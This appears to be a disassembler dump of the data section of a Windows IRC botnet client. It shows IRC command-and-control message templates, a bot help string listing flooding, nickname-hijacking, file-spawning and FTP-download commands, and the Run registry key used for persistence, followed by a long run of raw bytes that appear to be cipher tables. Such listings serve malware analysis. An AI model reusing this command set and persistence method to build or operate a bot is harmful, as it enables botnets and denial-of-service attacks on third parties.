.data:00408434 ; DATA XREF: sub_402D68+2B*o
.data:00408454 aIsonS db 'ISON %s',0Ah,0 ; DATA XREF: sub_40156D+164C*o
.data:0040845D aJoinS db 'JOIN #s',0Ah,0 ; DATA XREF: sub_40156D+15BA*o
.data:00408467 aNickC db 'NICK %c',0Ah,0 ; DATA XREF: sub_40156D+152E*o
.data:00408470 aS_0 db '%s',0Ah,0 ; DATA XREF: sub_4038BB+AD*o ...
.data:00408470 ; DATA XREF: sub_40156D+1333*o
.data:00408474 aNickS_0 db 'NICK :%s',0Ah,0
.data:0040847E aPrivmsgSOk__Ru db 'PRIVMSG %s :ok.. running',0Ah,0 ; DATA XREF: sub_40156D+F48*o
.data:0040847E ; DATA XREF: sub_40156D+F28*o
.data:00408498 aPrivmsgSCoul_0 db 'PRIVMSG %s :couldn',27h,'t spawn file',0Ah,0 ; DATA XREF: sub_40156D+ECE*o
.data:00408498 ; DATA XREF: sub_40156D+E8A*o
.data:004084B9 aPrivmsgSSucces db 'PRIVMSG %s :successfully spawned ftp.exe',0Ah,0 ; DATA XREF: sub_40156D+E60*o
.data:004084B9 ; DATA XREF: sub_40156D+A23*o
.data:004084E3 aPrivmsgSCouldn db 'PRIVMSG %s :couldn',27h,'t spawn ftp.exe',0Ah,0 ; DATA XREF: sub_40156D+A23*o
.data:004084E3 ; DATA XREF: sub_40156D+A23*o
.data:00408507 aPrivmsgSNoMore db 'PRIVMSG %s :no more...',0Ah,0 ; DATA XREF: sub_40156D+E60*o
.data:00408507 ; DATA XREF: sub_40156D+E60*o
.data:0040851F aPrivmsgSReadyA db 'PRIVMSG %s :ready and willing...',0Ah,0 ; DATA XREF: sub_40156D+E60*o
.data:0040851F ; DATA XREF: sub_40156D+A23*o
.data:00408541 aPrivmsgSctcpNi db 'PRIVMSG %s :ctcp <nick> PING 848348, help, getnick <nick>, g' ; DATA XREF: sub_40156D+A23*o
.data:00408541 ; DATA XREF: sub_40156D+A23*o
.data:00408541 db 'etnonick, rnick <nick>!!, sacker time low_port high_port add'
.data:00408541 db 'y, jacker time ip ip ip etc, stopsack, stopjack, spawn filen'
.data:00408541 db 'ame, ftpget EVERYTHING, randnick, clone, clonedie',0Ah,0
.data:00408628 aDccSend db 'DCC SEND ',0 ; DATA XREF: sub_40156D+6DC*o
.data:00408632 aPongSJoinS db 'PONG %s',0Ah ; DATA XREF: sub_40156D+6AC*o
.data:00408632 db 'JOIN #s',0Ah,0
.data:00408644 aPongSJoinSS db 'PONG %s',0Ah ; DATA XREF: sub_40156D+683*o
.data:00408644 db 'JOIN #s,#s',0Ah,0
.data:0040865A aNickSJoinS db 'NICK %s',0Ah ; DATA XREF: sub_40156D+5BD*o
.data:0040865A db 'JOIN #s',0Ah,0
.data:0040866C asc_40866C db '*',0 ; DATA XREF: sub_40156D+581*o
.data:0040866E aNickS db 'NICK %s',0Ah,0 ; DATA XREF: sub_40156D+50B*o

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.data:0040866E                                     ; sub_40156D+548•o ...
.data:00408677 aNickSUserSSSSJ db 'NICK :%s',0Ah ; DATA XREF: sub_40156D+35A•o
.data:00408677 db 'USER %s %s %s :%s',0Ah
.data:00408677 db 'JOIN #%s',0Ah,0
.data:0040869C aSoftwareMicros db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
.data:0040869C                                     ; DATA XREF: sub_4013F0+CC•o
.data:004086CA asc_4086CA db '\',0 ; DATA XREF: sub_4013F0+A0•o
.data:004086CC dword_4086CC dd 243F6A88h ; DATA XREF: sub_404E78+16E•r
.data:004086D0 db 0D3h ; +
.data:004086D1 db 8 ;
.data:004086D2 db 0A3h ; ú
.data:004086D3 db 85h ; à
.data:004086D4 db 2Eh ; .
.data:004086D5 db 8Ah ; è
.data:004086D6 db 19h ;
.data:004086D7 db 13h ;
.data:004086D8 db 44h ; D
.data:004086D9 db 73h ; s
.data:004086DA db 70h ; p
.data:004086DB db 3 ;
.data:004086DC db 22h ; "
.data:004086DD db 38h ; 8
.data:004086DE db 9 ;
.data:004086DF db 0A4h ; ñ
.data:004086E0 db 0D0h ; -
.data:004086E1 db 31h ; l
.data:004086E2 db 9Fh ; f
.data:004086E3 db 29h ; )
.data:004086E4 db 98h ; ý
.data:004086E5 db 0FAh ; •
.data:004086E6 db 2Eh ; .
.data:004086E7 db 8 ;
.data:004086E8 db 89h ; ë
.data:004086E9 db 6Ch ; l
.data:004086EA db 4Eh ; N
.data:004086EB db 0ECh ; 8
.data:004086EC db 0E6h ; µ
.data:004086ED db 21h ; !
.data:004086EE db 28h ; (
.data:004086EF db 45h ; E
.data:004086F0 db 77h ; w
.data:004086F1 db 13h ;
.data:004086F2 db 0D0h ; -
.data:004086F3 db 38h ; 8
.data:004086F4 db 0CFh ; -
.data:004086F5 db 66h ; f
.data:004086F6 db 54h ; T
.data:004086F7 db 0BEh ; +
.data:004086F8 db 6Ch ; l
.data:004086F9 db 0Ch ;
.data:004086FA db 0E9h ; T
.data:004086FB db 34h ; 4
.data:004086FC db 0B7h ; +
.data:004086FD db 29h ; )
.data:004086FE db 0ACh ; ¼
.data:004086FF db 0C0h ; +
.data:00408700 db 0DDh ; /
.data:00408701 db 50h ; P
.data:00408702 db 7Ch ; /
.data:00408703 db 0C9h ; +
.data:00408704 db 0B5h ; /
.data:00408705 db 0D5h ; +
.data:00408706 db 84h ; ä
.data:00408707 db 3Fh ; ?
.data:00408708 db 17h ;
.data:00408709 db 9 ;
.data:0040870A db 47h ; G
.data:0040870B db 0B5h ; /
.data:0040870C db 0D9h ; +
.data:0040870D db 0D5h ; +

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.data:0040870E      db  16h ;
.data:0040870F      db  92h ; Æ
.data:00408710      db  1Bh ;
.data:00408711      db  0FBh ; v
.data:00408712      db  79h ; y
.data:00408713      db  89h ; ë
.data:00408714      db  0A6h ; a ; DATA XREF: sub_404E78+190•r
unk_408714
.data:00408715      db  0Bh ;
.data:00408716      db  31h ; 1
.data:00408717      db  0D1h ; -
.data:00408718      db  0ACh ; ¼
.data:00408719      db  0B5h ; /
.data:0040871A      db  0DFh ; -
.data:0040871B      db  98h ; Ÿ
.data:0040871C      db  0DBh ; /
.data:0040871D      db  72h ; r
.data:0040871E      db  0FDh ; ²
.data:0040871F      db  2Fh ; /
.data:00408720      db  0B7h ; +
.data:00408721      db  0DFh ; -
.data:00408722      db  1Ah ;
.data:00408723      db  0D0h ; -
.data:00408724      db  0EDh ; f
.data:00408725      db  0AFh ; »
.data:00408726      db  0E1h ; ß
.data:00408727      db  0B8h ; +
.data:00408728      db  96h ; û
.data:00408729      db  7Eh ; ~
.data:0040872A      db  26h ; &
.data:0040872B      db  6Ah ; j
.data:0040872C      db  45h ; E
.data:0040872D      db  90h ; É
.data:0040872E      db  7Ch ; /
.data:0040872F      db  0BAh ; /
.data:00408730      db  99h ; Ö
.data:00408731      db  7Fh ; •
.data:00408732      db  2Ch ; ,
.data:00408733      db  0F1h ; ±
.data:00408734      db  47h ; G
.data:00408735      db  99h ; Ö
.data:00408736      db  0A1h ; í
.data:00408737      db  24h ; $
.data:00408738      db  0F7h ; ~
.data:00408739      db  6Ch ; l
.data:0040873A      db  91h ; æ
.data:0040873B      db  0B3h ; /
.data:0040873C      db  0E2h ; G
.data:0040873D      db  0F2h ; =
.data:0040873E      db   1 ;
.data:0040873F      db   8 ;
.data:00408740      db  16h ;
.data:00408741      db  0FCh ; n
.data:00408742      db  8Eh ; Å
.data:00408743      db  85h ; à
.data:00408744      db  0D8h ; +
.data:00408745      db  20h ;
.data:00408746      db  69h ; i
.data:00408747      db  63h ; c
.data:00408748      db  69h ; i
.data:00408749      db  4Eh ; N
.data:0040874A      db  57h ; W
.data:0040874B      db  71h ; q
.data:0040874C      db  0A3h ; ú
.data:0040874D      db  0FEh ; /
.data:0040874E      db  58h ; X
.data:0040874F      db  0A4h ; ñ
.data:00408750      db  7Eh ; ~
.data:00408751      db  3Dh ; =
.data:00408752      db  93h ; ô
.data:00408753      db  0F4h ; (

```

```

.data:00408754      db  8Fh ; Å
.data:00408755      db  74h ; t
.data:00408756      db  95h ; ò
.data:00408757      db  0Dh ;
.data:00408758      db  58h ; X
.data:00408759      db  0B6h ; /
.data:0040875A      db  8Eh ; Ä
.data:0040875B      db  72h ; r
.data:0040875C      db  58h ; X
.data:0040875D      db  0CDh ; -
.data:0040875E      db  8Bh ; i
.data:0040875F      db  71h ; q
.data:00408760      db  0EEh ; e
.data:00408761      db  4Ah ; J
.data:00408762      db  15h ;
.data:00408763      db  82h ; é
.data:00408764      db  1Dh ;
.data:00408765      db  0A4h ; ñ
.data:00408766      db  54h ; T
.data:00408767      db  7Bh ; {
.data:00408768      db  0B5h ; /
.data:00408769      db  59h ; Y
.data:0040876A      db  5Ah ; Z
.data:0040876B      db  0C2h ; -
.data:0040876C      db  39h ; 9
.data:0040876D      db  0D5h ; +
.data:0040876E      db  30h ; 0
.data:0040876F      db  9Ch ; £
.data:00408770      db  13h ; `
.data:00408771      db  60h ; `
.data:00408772      db  0F2h ; =
.data:00408773      db  2Ah ; *
.data:00408774      db  23h ; #
.data:00408775      db  0E0h ; /
.data:00408776      db  0D1h ; -
.data:00408777      db  0C5h ; +
.data:00408778      db  0F0h ; =
.data:00408779      db  85h ; à
.data:0040877A      db  60h ; `
.data:0040877B      db  28h ; (
.data:0040877C      db  18h ;
.data:0040877D      db  79h ; y
.data:0040877E      db  41h ; A
.data:0040877F      db  0CAh ; -
.data:00408780      db  0EFh ; n
.data:00408781      db  38h ; 8
.data:00408782      db  0DBh ; /
.data:00408783      db  0B8h ; +
.data:00408784      db  0E0h ; /
.data:00408785      db  0DCh ; _
.data:00408786      db  79h ; y
.data:00408787      db  8Eh ; Ä
.data:00408788      db  0Eh ;
.data:00408789      db  18h ;
.data:0040878A      db  3Ah ; :
.data:0040878B      db  60h ; `
.data:0040878C      db  8Bh ; i
.data:0040878D      db  0Eh ;
.data:0040878E      db  9Eh ; P
.data:0040878F      db  6Ch ; l
.data:00408790      db  3Eh ; >
.data:00408791      db  8Ah ; è
.data:00408792      db  1Eh ;
.data:00408793      db  0B0h ; /
.data:00408794      db  0C1h ; -
.data:00408795      db  77h ; w
.data:00408796      db  15h ;
.data:00408797      db  0D7h ; +
.data:00408798      db  27h ; '
.data:00408799      db  4Bh ; K

```



```

.data:0040879A      db  31h ; 1
.data:0040879B      db  0BDh ; +
.data:0040879C      db  0DAh ; +
.data:0040879D      db  2Fh ; /
.data:0040879E      db  0AFh ; »
.data:0040879F      db  78h ; x
.data:004087A0      db  60h ; `
.data:004087A1      db  5Ch ; \
.data:004087A2      db  60h ; `
.data:004087A3      db  55h ; U
.data:004087A4      db  0F3h ; =
.data:004087A5      db  25h ; %
.data:004087A6      db  55h ; U
.data:004087A7      db  0E6h ; μ
.data:004087A8      db  94h ; ö
.data:004087A9      db  0ABh ; ½
.data:004087AA      db  55h ; U
.data:004087AB      db  0AAh ; ¬
.data:004087AC      db  62h ; b
.data:004087AD      db  98h ; ŷ
.data:004087AE      db  48h ; H
.data:004087AF      db  57h ; W
.data:004087B0      db  40h ; @
.data:004087B1      db  14h ;
.data:004087B2      db  0E8h ; F
.data:004087B3      db  63h ; c
.data:004087B4      db  6Ah ; j
.data:004087B5      db  39h ; 9
.data:004087B6      db  0CAh ; -
.data:004087B7      db  55h ; U
.data:004087B8      db  0B6h ; /
.data:004087B9      db  10h ;
.data:004087BA      db  0ABh ; ½
.data:004087BB      db  2Ah ; *
.data:004087BC      db  34h ; 4
.data:004087BD      db  5Ch ; \
.data:004087BE      db  0CCh ; /
.data:004087BF      db  0B4h ; /
.data:004087C0      db  0CEh ; +
.data:004087C1      db  0E8h ; F
.data:004087C2      db  41h ; A
.data:004087C3      db  11h ;
.data:004087C4      db  0AFh ; »
.data:004087C5      db  86h ; å
.data:004087C6      db  54h ; T
.data:004087C7      db  0A1h ; í
.data:004087C8      db  93h ; ô
.data:004087C9      db  0E9h ; T
.data:004087CA      db  72h ; r
.data:004087CB      db  7Ch ; /
.data:004087CC      db  11h ;
.data:004087CD      db  14h ;
.data:004087CE      db  0EEh ; e
.data:004087CF      db  0B3h ; /
.data:004087D0      db  2Ah ; *
.data:004087D1      db  0BCh ; +
.data:004087D2      db  6Fh ; o
.data:004087D3      db  63h ; c
.data:004087D4      db  5Dh ; J
.data:004087D5      db  0C5h ; +
.data:004087D6      db  0A9h ; ¬
.data:004087D7      db  2Bh ; +
.data:004087D8      db  0F6h ; ÷
.data:004087D9      db  31h ; 1
.data:004087DA      db  18h ;
.data:004087DB      db  74h ; t
.data:004087DC      db  16h ;
.data:004087DD      db  3Eh ; >
.data:004087DE      db  5Ch ; \
.data:004087DF      db  0CEh ; +

```

```

.data:004087E0      db  1Eh ;
.data:004087E1      db  93h ; ô
.data:004087E2      db  87h ; ç
.data:004087E3      db  9Bh ; ç
.data:004087E4      db  33h ; 3
.data:004087E5      db  0BAh ; /
.data:004087E6      db  0D6h ; +
.data:004087E7      db  0AFh ; »
.data:004087E8      db  5Ch ; \
.data:004087E9      db  0CFh ; -
.data:004087EA      db  24h ; $
.data:004087EB      db  6Ch ; l
.data:004087EC      db  81h ; ù
.data:004087ED      db  53h ; S
.data:004087EE      db  32h ; 2
.data:004087EF      db  7Ah ; z
.data:004087F0      db  77h ; w
.data:004087F1      db  86h ; à
.data:004087F2      db  95h ; ò
.data:004087F3      db  28h ; (
.data:004087F4      db  98h ; ý
.data:004087F5      db  48h ; H
.data:004087F6      db  8Fh ; Å
.data:004087F7      db  3Bh ; ;
.data:004087F8      db  0AFh ; »
.data:004087F9      db  0B9h ; /
.data:004087FA      db  4Bh ; K
.data:004087FB      db  6Bh ; k
.data:004087FC      db  1Bh ;
.data:004087FD      db  0E8h ; F
.data:004087FE      db  0BFh ; +
.data:004087FF      db  0C4h ; -
.data:00408800      db  93h ; ô
.data:00408801      db  21h ; !
.data:00408802      db  28h ; (
.data:00408803      db  66h ; f
.data:00408804      db  0CCh ; /
.data:00408805      db   9 ;
.data:00408806      db  0D8h ; +
.data:00408807      db  61h ; a
.data:00408808      db  91h ; æ
.data:00408809      db  0A9h ; ñ
.data:0040880A      db  21h ; !
.data:0040880B      db  0FBh ; v
.data:0040880C      db  60h ; `
.data:0040880D      db  0ACh ; ¼
.data:0040880E      db  7Ch ; /
.data:0040880F      db  48h ; H
.data:00408810      db  32h ; 2
.data:00408811      db  80h ; Ç
.data:00408812      db  0ECh ; 8
.data:00408813      db  5Dh ; j
.data:00408814      db  5Dh ; j
.data:00408815      db  5Dh ; j
.data:00408816      db  84h ; à
.data:00408817      db  0EFh ; n
.data:00408818      db  0B1h ; /
.data:00408819      db  75h ; u
.data:0040881A      db  85h ; à
.data:0040881B      db  0E9h ; T
.data:0040881C      db   2 ;
.data:0040881D      db  23h ; #
.data:0040881E      db  26h ; &
.data:0040881F      db  0DCh ; _
.data:00408820      db  88h ; ê
.data:00408821      db  1Bh ;
.data:00408822      db  65h ; e
.data:00408823      db  0EBh ; d
.data:00408824      db  81h ; ù
.data:00408825      db  3Eh ; >

```

```

.data:00408826      db  89h ; ë
.data:00408827      db  23h ; #
.data:00408828      db  0C5h ; +
.data:00408829      db  0ACh ; ¼
.data:0040882A      db  96h ; û
.data:0040882B      db  0D3h ; +
.data:0040882C      db  0F3h ; =
.data:0040882D      db  6Fh ; o
.data:0040882E      db  6Dh ; m
.data:0040882F      db  0Fh ;
.data:00408830      db  39h ; 9
.data:00408831      db  42h ; B
.data:00408832      db  0F4h ; (
.data:00408833      db  83h ; â
.data:00408834      db  82h ; é
.data:00408835      db  44h ; D
.data:00408836      db  0Bh ;
.data:00408837      db  2Eh ; .
.data:00408838      db   4 ;
.data:00408839      db  20h ;
.data:0040883A      db  84h ; ä
.data:0040883B      db  0A4h ; ñ
.data:0040883C      db  4Ah ; J
.data:0040883D      db  0F0h ; =
.data:0040883E      db  0C8h ; +
.data:0040883F      db  69h ; i
.data:00408840      db  5Eh ; ^
.data:00408841      db  9Bh ; ç
.data:00408842      db  1Fh ;
.data:00408843      db  9Eh ; P
.data:00408844      db  42h ; B
.data:00408845      db  68h ; h
.data:00408846      db  0C6h ; /
.data:00408847      db  21h ; !
.data:00408848      db  9Ah ; Û
.data:00408849      db  6Ch ; l
.data:0040884A      db  0E9h ; T
.data:0040884B      db  0F6h ; ÷
.data:0040884C      db  61h ; a
.data:0040884D      db  9Ch ; £
.data:0040884E      db  0Ch ;
.data:0040884F      db  67h ; g
.data:00408850      db  0F0h ; =
.data:00408851      db  88h ; ê
.data:00408852      db  0D3h ; +
.data:00408853      db  0ABh ; ½
.data:00408854      db  0D2h ; -
.data:00408855      db  0A0h ; á
.data:00408856      db  51h ; Q
.data:00408857      db  6Ah ; j
.data:00408858      db  68h ; h
.data:00408859      db  2Fh ; /
.data:0040885A      db  54h ; T
.data:0040885B      db  0D8h ; +
.data:0040885C      db  28h ; (
.data:0040885D      db  0A7h ; °
.data:0040885E      db  0Fh ;
.data:0040885F      db  96h ; û
.data:00408860      db  0A3h ; ú
.data:00408861      db  33h ; 3
.data:00408862      db  51h ; Q
.data:00408863      db  0ABh ; ½
.data:00408864      db  6Ch ; l
.data:00408865      db  0Bh ;
.data:00408866      db  0EFh ; n
.data:00408867      db  6Eh ; n
.data:00408868      db  0E4h ; S
.data:00408869      db  3Bh ; ;
.data:0040886A      db  7Ah ; z
.data:0040886B      db  13h ;

```

```

.data:0040886C      db  50h ; P
.data:0040886D      db  0F0h ; =
.data:0040886E      db  3Bh ; ;
.data:0040886F      db  0BAh ; /
.data:00408870      db  98h ; Ÿ
.data:00408871      db  2Ah ; *
.data:00408872      db  0FBh ; v
.data:00408873      db  7Eh ; ~
.data:00408874      db  1Dh ;
.data:00408875      db  65h ; e
.data:00408876      db  0F1h ; ±
.data:00408877      db  0A1h ; í
.data:00408878      db  76h ; v
.data:00408879      db   1 ;
.data:0040887A      db  0AFh ; »
.data:0040887B      db  39h ; 9
.data:0040887C      db  3Eh ; >
.data:0040887D      db  59h ; Y
.data:0040887E      db  0CAh ; -
.data:0040887F      db  66h ; f
.data:00408880      db  88h ; ê
.data:00408881      db  0Eh ;
.data:00408882      db  43h ; C
.data:00408883      db  82h ; é
.data:00408884      db  19h ;
.data:00408885      db  86h ; á
.data:00408886      db  0EEh ; e
.data:00408887      db  8Ch ; î
.data:00408888      db  0B4h ; /
.data:00408889      db  9Fh ; f
.data:0040888A      db  6Fh ; o
.data:0040888B      db  45h ; E
.data:0040888C      db  0C3h ; +
.data:0040888D      db  0A5h ; Ñ
.data:0040888E      db  84h ; ä
.data:0040888F      db  7Dh ; }
.data:00408890      db  0BEh ; +
.data:00408891      db  5Eh ; ^
.data:00408892      db  8Bh ; ï
.data:00408893      db  3Bh ; ;
.data:00408894      db  0D8h ; +
.data:00408895      db  75h ; u
.data:00408896      db  6Fh ; o
.data:00408897      db  0E0h ; a
.data:00408898      db  73h ; s
.data:00408899      db  20h ;
.data:0040889A      db  0C1h ; -
.data:0040889B      db  85h ; à
.data:0040889C      db  9Fh ; f
.data:0040889D      db  44h ; D
.data:0040889E      db  1Ah ;
.data:0040889F      db  40h ; @
.data:004088A0      db  0A6h ; a
.data:004088A1      db  6Ah ; j
.data:004088A2      db  0C1h ; -
.data:004088A3      db  56h ; V
.data:004088A4      db  62h ; b
.data:004088A5      db  0AAh ; ñ
.data:004088A6      db  0D3h ; +
.data:004088A7      db  4Eh ; N
.data:004088A8      db   6 ;
.data:004088A9      db  77h ; w
.data:004088AA      db  3Fh ; ?
.data:004088AB      db  36h ; 6
.data:004088AC      db  72h ; r
.data:004088AD      db  0DFh ; -
.data:004088AE      db  0FEh ; /
.data:004088AF      db  1Bh ;
.data:004088B0      db  3Dh ; =
.data:004088B1      db   2 ;

```

```

.data:004088B2      db  9Bh ; ¢
.data:004088B3      db  42h ; B
.data:004088B4      db  24h ; $
.data:004088B5      db  0D7h ; +
.data:004088B6      db  0D0h ; -
.data:004088B7      db  37h ; 7
.data:004088B8      db  48h ; H
.data:004088B9      db  12h ;
.data:004088BA      db  0Ah ;
.data:004088BB      db  0D0h ; -
.data:004088BC      db  0D3h ; +
.data:004088BD      db  0EAh ; O
.data:004088BE      db  0Fh ;
.data:004088BF      db  0DBh ; /
.data:004088C0      db  9Bh ; ¢
.data:004088C1      db  0C0h ; +
.data:004088C2      db  0F1h ; ±
.data:004088C3      db  49h ; I
.data:004088C4      db  0C9h ; +
.data:004088C5      db  72h ; r
.data:004088C6      db  53h ; S
.data:004088C7      db   7 ;
.data:004088C8      db  7Bh ; {
.data:004088C9      db  1Bh ;
.data:004088CA      db  99h ; Ö
.data:004088CB      db  80h ; Ç
.data:004088CC      db  0D8h ; +
.data:004088CD      db  79h ; y
.data:004088CE      db  0D4h ; +
.data:004088CF      db  25h ; %
.data:004088D0      db  0F7h ; ~
.data:004088D1      db  0DEh ; /
.data:004088D2      db  0E8h ; F
.data:004088D3      db  0F6h ; ÷
.data:004088D4      db  1Ah ;
.data:004088D5      db  50h ; P
.data:004088D6      db  0FEh ; /
.data:004088D7      db  0E3h ; p
.data:004088D8      db  3Bh ; ;
.data:004088D9      db  4Ch ; L
.data:004088DA      db  79h ; y
.data:004088DB      db  0B6h ; /
.data:004088DC      db  0BDh ; +
.data:004088DD      db  0E0h ; a
.data:004088DE      db  6Ch ; l
.data:004088DF      db  97h ; ù
.data:004088E0      db  0BAh ; /
.data:004088E1      db   6 ;
.data:004088E2      db  0C0h ; +
.data:004088E3      db   4 ;
.data:004088E4      db  0B6h ; /
.data:004088E5      db  4Fh ; O
.data:004088E6      db  0A9h ; ¬
.data:004088E7      db  0C1h ; -
.data:004088E8      db  0C4h ; -
.data:004088E9      db  60h ; `
.data:004088EA      db  9Fh ; f
.data:004088EB      db  40h ; @
.data:004088EC      db  0C2h ; -
.data:004088ED      db  9Eh ; P
.data:004088EE      db  5Ch ; \
.data:004088EF      db  5Eh ; ^
.data:004088F0      db  63h ; c
.data:004088F1      db  24h ; $
.data:004088F2      db  6Ah ; j
.data:004088F3      db  19h ;
.data:004088F4      db  0AFh ; »
.data:004088F5      db  6Fh ; o
.data:004088F6      db  0FBh ; v
.data:004088F7      db  68h ; h

```

```

.data:004088F8      db 0B5h ; /
.data:004088F9      db 53h ; S
.data:004088FA      db 6Ch ; l
.data:004088FB      db 3Eh ; >
.data:004088FC      db 0EBh ; d
.data:004088FD      db 0B2h ; /
.data:004088FE      db 39h ; 9
.data:004088FF      db 13h ;
.data:00408900      db 6Fh ; o
.data:00408901      db 0ECh ; 8
.data:00408902      db 52h ; R
.data:00408903      db 3Bh ; ;
.data:00408904      db 1Fh ;
.data:00408905      db 51h ; Q
.data:00408906      db 0FCh ; n
.data:00408907      db 6Dh ; m
.data:00408908      db 2Ch ; ,
.data:00408909      db 95h ; ò
.data:0040890A      db 30h ; 0
.data:0040890B      db 9Bh ; ç
.data:0040890C      db 44h ; D
.data:0040890D      db 45h ; E
.data:0040890E      db 81h ; ü
.data:0040890F      db 0CCh ; /
.data:00408910      db 9 ;
.data:00408911      db 0BDh ; +
.data:00408912      db 5Eh ; ^
.data:00408913      db 0AFh ; »
.data:00408914      db 4 ;
.data:00408915      db 0D0h ; -
.data:00408916      db 0E3h ; p
.data:00408917      db 0BEh ; +
.data:00408918      db 0FDh ; ?
.data:00408919      db 4Ah ; J
.data:0040891A      db 33h ; 3
.data:0040891B      db 0DEh ; /
.data:0040891C      db 7 ;
.data:0040891D      db 28h ; (
.data:0040891E      db 0Fh ;
.data:0040891F      db 66h ; f
.data:00408920      db 0B3h ; /
.data:00408921      db 4Bh ; K
.data:00408922      db 2Eh ; .
.data:00408923      db 19h ;
.data:00408924      db 57h ; W
.data:00408925      db 0A8h ; ç
.data:00408926      db 0CBh ; -
.data:00408927      db 0C0h ; +
.data:00408928      db 0Fh ;
.data:00408929      db 74h ; t
.data:0040892A      db 0C8h ; +
.data:0040892B      db 45h ; E
.data:0040892C      db 39h ; 9
.data:0040892D      db 5Fh ; -
.data:0040892E      db 0Bh ;
.data:0040892F      db 0D2h ; -
.data:00408930      db 0DBh ; /
.data:00408931      db 0FBh ; v
.data:00408932      db 0D3h ; +
.data:00408933      db 0B9h ; /
.data:00408934      db 0BDh ; +
.data:00408935      db 0C0h ; +
.data:00408936      db 79h ; y
.data:00408937      db 55h ; U
.data:00408938      db 0Ah ;
.data:00408939      db 32h ; 2
.data:0040893A      db 60h ; `
.data:0040893B      db 1Ah ;
.data:0040893C      db 0C6h ; /
.data:0040893D      db 0 ;

```

```

.data:0040893E      db 0A1h ; í
.data:0040893F      db 0D6h ; +
.data:00408940      db 79h ; y
.data:00408941      db 72h ; r
.data:00408942      db 2Ch ; ,
.data:00408943      db 40h ; @
.data:00408944      db 0FEh ; /
.data:00408945      db 25h ; %
.data:00408946      db 9Fh ; f
.data:00408947      db 67h ; g
.data:00408948      db 0CCh ; /
.data:00408949      db 0A3h ; ú
.data:0040894A      db 1Fh ;
.data:0040894B      db 0FBh ; v
.data:0040894C      db 0F8h ; °
.data:0040894D      db 0E9h ; T
.data:0040894E      db 0A5h ; Ñ
.data:0040894F      db 8Eh ; Ä
.data:00408950      db 0F8h ; °
.data:00408951      db 22h ; "
.data:00408952      db 32h ; 2
.data:00408953      db 0DBh ; /
.data:00408954      db 0DFh ; -
.data:00408955      db 16h ;
.data:00408956      db 75h ; u
.data:00408957      db 3Ch ; <
.data:00408958      db 15h ;
.data:00408959      db 6Bh ; k
.data:0040895A      db 61h ; a
.data:0040895B      db 0FDh ; ?
.data:0040895C      db 0C8h ; +
.data:0040895D      db 1Eh ;
.data:0040895E      db 50h ; P
.data:0040895F      db 2Fh ; /
.data:00408960      db 0ABh ; ½
.data:00408961      db 52h ; R
.data:00408962      db 5 ;
.data:00408963      db 0ADh ; i
.data:00408964      db 0FAh ; ·
.data:00408965      db 0B5h ; /
.data:00408966      db 3Dh ; =
.data:00408967      db 32h ; 2
.data:00408968      db 60h ; `
.data:00408969      db 87h ; ç
.data:0040896A      db 23h ; #
.data:0040896B      db 0FDh ; ?
.data:0040896C      db 48h ; H
.data:0040896D      db 7Bh ; {
.data:0040896E      db 31h ; l
.data:0040896F      db 53h ; S
.data:00408970      db 82h ; é
.data:00408971      db 0DFh ; -
.data:00408972      db 0 ;
.data:00408973      db 3Eh ; >
.data:00408974      db 0BBh ; +
.data:00408975      db 57h ; W
.data:00408976      db 5Ch ; \
.data:00408977      db 9Eh ; P
.data:00408978      db 0A0h ; á
.data:00408979      db 8Ch ; í
.data:0040897A      db 6Fh ; o
.data:0040897B      db 0CAh ; -
.data:0040897C      db 2Eh ; .
.data:0040897D      db 56h ; V
.data:0040897E      db 87h ; ç
.data:0040897F      db 1Ah ;
.data:00408980      db 0DBh ; /
.data:00408981      db 69h ; i
.data:00408982      db 17h ;
.data:00408983      db 0DFh ; -

```

```

.data:00408984      db 0F6h ; ÷
.data:00408985      db 0A8h ; ç
.data:00408986      db 42h ; B
.data:00408987      db 0D5h ; +
.data:00408988      db 0C3h ; +
.data:00408989      db 0FFh ;
.data:0040898A      db 7Eh ; ~
.data:0040898B      db 28h ; (
.data:0040898C      db 0C6h ; /
.data:0040898D      db 32h ; 2
.data:0040898E      db 67h ; g
.data:0040898F      db 0ACh ; ¼
.data:00408990      db 73h ; s
.data:00408991      db 55h ; U
.data:00408992      db 4Fh ; O
.data:00408993      db 8Ch ; î
.data:00408994      db 0B0h ; /
.data:00408995      db 27h ; '
.data:00408996      db 5Bh ; [
.data:00408997      db 69h ; i
.data:00408998      db 0C8h ; +
.data:00408999      db 58h ; X
.data:0040899A      db 0CAh ; -
.data:0040899B      db 0BBh ; +
.data:0040899C      db 5Dh ; ]
.data:0040899D      db 0A3h ; ú
.data:0040899E      db 0FFh ;
.data:0040899F      db 0E1h ; ß
.data:004089A0      db 0A0h ; á
.data:004089A1      db 11h ;
.data:004089A2      db 0F0h ; =
.data:004089A3      db 0B8h ; +
.data:004089A4      db 98h ; Ÿ
.data:004089A5      db 3Dh ; =
.data:004089A6      db 0FAh ; ·
.data:004089A7      db 10h ;
.data:004089A8      db 0B8h ; +
.data:004089A9      db 83h ; â
.data:004089AA      db 21h ; !
.data:004089AB      db 0FDh ; º
.data:004089AC      db 6Ch ; l
.data:004089AD      db 0B5h ; /
.data:004089AE      db 0FCh ; n
.data:004089AF      db 4Ah ; J
.data:004089B0      db 5Bh ; [
.data:004089B1      db 0D3h ; +
.data:004089B2      db 0D1h ; -
.data:004089B3      db 2Dh ; -
.data:004089B4      db 79h ; y
.data:004089B5      db 0E4h ; S
.data:004089B6      db 53h ; S
.data:004089B7      db 9Ah ; Ũ
.data:004089B8      db 65h ; e
.data:004089B9      db 45h ; E
.data:004089BA      db 0F8h ; °
.data:004089BB      db 0B6h ; /
.data:004089BC      db 0BCh ; +
.data:004089BD      db 49h ; I
.data:004089BE      db 8Eh ; Å
.data:004089BF      db 0D2h ; -
.data:004089C0      db 90h ; Ě
.data:004089C1      db 97h ; ù
.data:004089C2      db 0FBh ; v
.data:004089C3      db 4Bh ; K
.data:004089C4      db 0DAh ; +
.data:004089C5      db 0F2h ; =
.data:004089C6      db 0DDh ; /
.data:004089C7      db 0E1h ; ß
.data:004089C8      db 33h ; 3
.data:004089C9      db 7Eh ; ~

```



```

.data:004089CA      db 0CBh ; -
.data:004089CB      db 0A4h ; ñ
.data:004089CC      db 41h ; A
.data:004089CD      db 13h ;
.data:004089CE      db 0FBh ; v
.data:004089CF      db 62h ; b
.data:004089D0      db 0E8h ; F
.data:004089D1      db 0C6h ; /
.data:004089D2      db 0E4h ; S
.data:004089D3      db 0CEh ; +
.data:004089D4      db 0DAh ; +
.data:004089D5      db 0CAh ; -
.data:004089D6      db 20h ;
.data:004089D7      db 0EFh ; n
.data:004089D8      db 1 ;
